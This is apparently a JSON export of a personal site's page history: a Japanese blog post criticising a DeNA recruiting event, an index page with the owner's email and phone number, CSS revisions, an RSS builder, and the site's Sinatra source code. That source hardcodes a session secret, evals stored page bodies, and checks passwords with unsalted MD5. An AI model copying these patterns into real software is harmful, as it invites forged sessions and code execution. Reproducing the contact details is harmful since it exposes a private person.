においていわゆるトップ層の技術者がそこまで層が薄くなっているという話はあまり聞いていないのだが、裾野はかなり荒廃している可能性があると感じるイベントだった。この内容で「おっしゃ DeNA に転職するか!!!」とはならないんではないか。 LINE の開発者イベントとか見習ったほうがいい。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eDeNA Techcon なにが酷いってデカいホール借りた採用イベントで、「時間足りないのでここ飛ばします」が多発してたことですね、社内でちゃんと練習させてやれよ、なんでせっかく雇ったエンジニアをノーガードで人の前に放りだすんだよ、あの会社今本当にダメだと思う\u003c/p\u003e— 高野麻里佳の奥歯 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/961896215158800391?ref_src=twsrc%5Etfw\"\u003eFebruary 9, 2018\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eあの状態の会社に行きたい奴よっぽど Showroom 好きなドルオタとかぐらいだろ\u003c/p\u003e— 高野麻里佳の奥歯 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/961896359258238977?ref_src=twsrc%5Etfw\"\u003eFebruary 9, 2018\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e本当にみんなとっとと転職したほうがいい、よそいったら絶対いろいろよくなる\u003c/p\u003e— 高野麻里佳の奥歯 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/961896665635438597?ref_src=twsrc%5Etfw\"\u003eFebruary 9, 2018\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2018-03-12T05:47:09.000Z","updated_at":"2018-03-12T05:47:09.000Z"},{"id":3048,"name":"text/new_article","body":"# かに\r\n\r\nこれは新しい記事を作るテストです","created_at":"2018-03-12T05:50:57.000Z","updated_at":"2018-03-12T05:50:57.000Z"},{"id":3049,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n\u003cdiv class=\"h0\"\u003essig33.com\u003c/div\u003e\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Job :** Software Engineer \r\n**Face :** \r\n![img](https://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)","created_at":"2018-04-06T10:33:09.000Z","updated_at":"2018-04-06T10:33:09.000Z"},{"id":3050,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2018-04-06T10:33:52.000Z","updated_at":"2018-04-06T10:33:52.000Z"},{"id":3051,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2018-04-14T14:06:57.000Z","updated_at":"2018-04-14T14:06:57.000Z"},{"id":3052,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"https:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"https://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"https://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -names = []\r\n -Page.where(\"name like ?\", \"text/%\").order(\"id desc\").each do |p|\r\n -next if names.index(p.name)\r\n -names \u003c\u003c p.name\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{URI.encode p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2018-04-14T14:37:28.000Z","updated_at":"2018-04-14T14:37:28.000Z"},{"id":3053,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n JSON.parse(open(\"https://diary.app.ssig33.com/api\").read).each do |diary|\r\n xml.item do\r\n xml.title diary[\"Body\"].split(\"\\n\")[0]\r\n xml.link \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n xml.description diary[\"Body\"]\r\n xml.pubDate Time.parse(diary[\"CreatedAt\"]).rfc822()\r\n xml.guid \"http://diary.app.ssig33.com/#{diary[\"Id\"]}\"\r\n end\r\n end\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2018-04-16T10:28:16.000Z","updated_at":"2018-04-16T10:28:16.000Z"},{"id":3054,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\nrequire 'open-uri'\r\n\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n REDIS.del(*REDIS.keys(\"*\"))\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2018-04-16T10:30:03.000Z","updated_at":"2018-04-16T10:30:03.000Z"},{"id":3055,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2018-04-27T07:26:07.000Z","updated_at":"2018-04-27T07:26:07.000Z"},{"id":3056,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2018-04-27T07:26:58.000Z","updated_at":"2018-04-27T07:26:58.000Z"},{"id":3057,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh1, h2, h3, h4{font-family:serif;}\r\nh4{margin: 8px;}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg, video{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n\r\n\r\n.h0, .h1, .h2{\r\n font-family:serif;\r\n}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2018-04-27T07:27:19.000Z","updated_at":"2018-04-27T07:27:19.000Z"},{"id":3058,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\nrequire 'open-uri'\r\n\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_prefix\r\n unless REDIS.get(\"ssig33comprefix\")\r\n REDIS.set(\"ssig33comprefix\", rand(256**16).to_s(16))\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.set(key, body)\r\nend\r\n\r\ndef get_cache url\r\n set_prefix\r\n key = REDIS.get(\"ssig33comprefix\")+Digest::MD5.hexdigest(url)\r\n REDIS.get(key)\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n @page = Page.where(name: CGI.unescape(id)).order(\"created_at desc\").first unless @page\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2018-04-27T07:28:07.000Z","updated_at":"2018-04-27T07:28:07.000Z"},{"id":3059,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n\r\nbody{\r\n text-align:center;\r\n word-wrap: break-word;\r\n}\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n font-family:serif;\r\n}\r\n\r\nh4{margin: 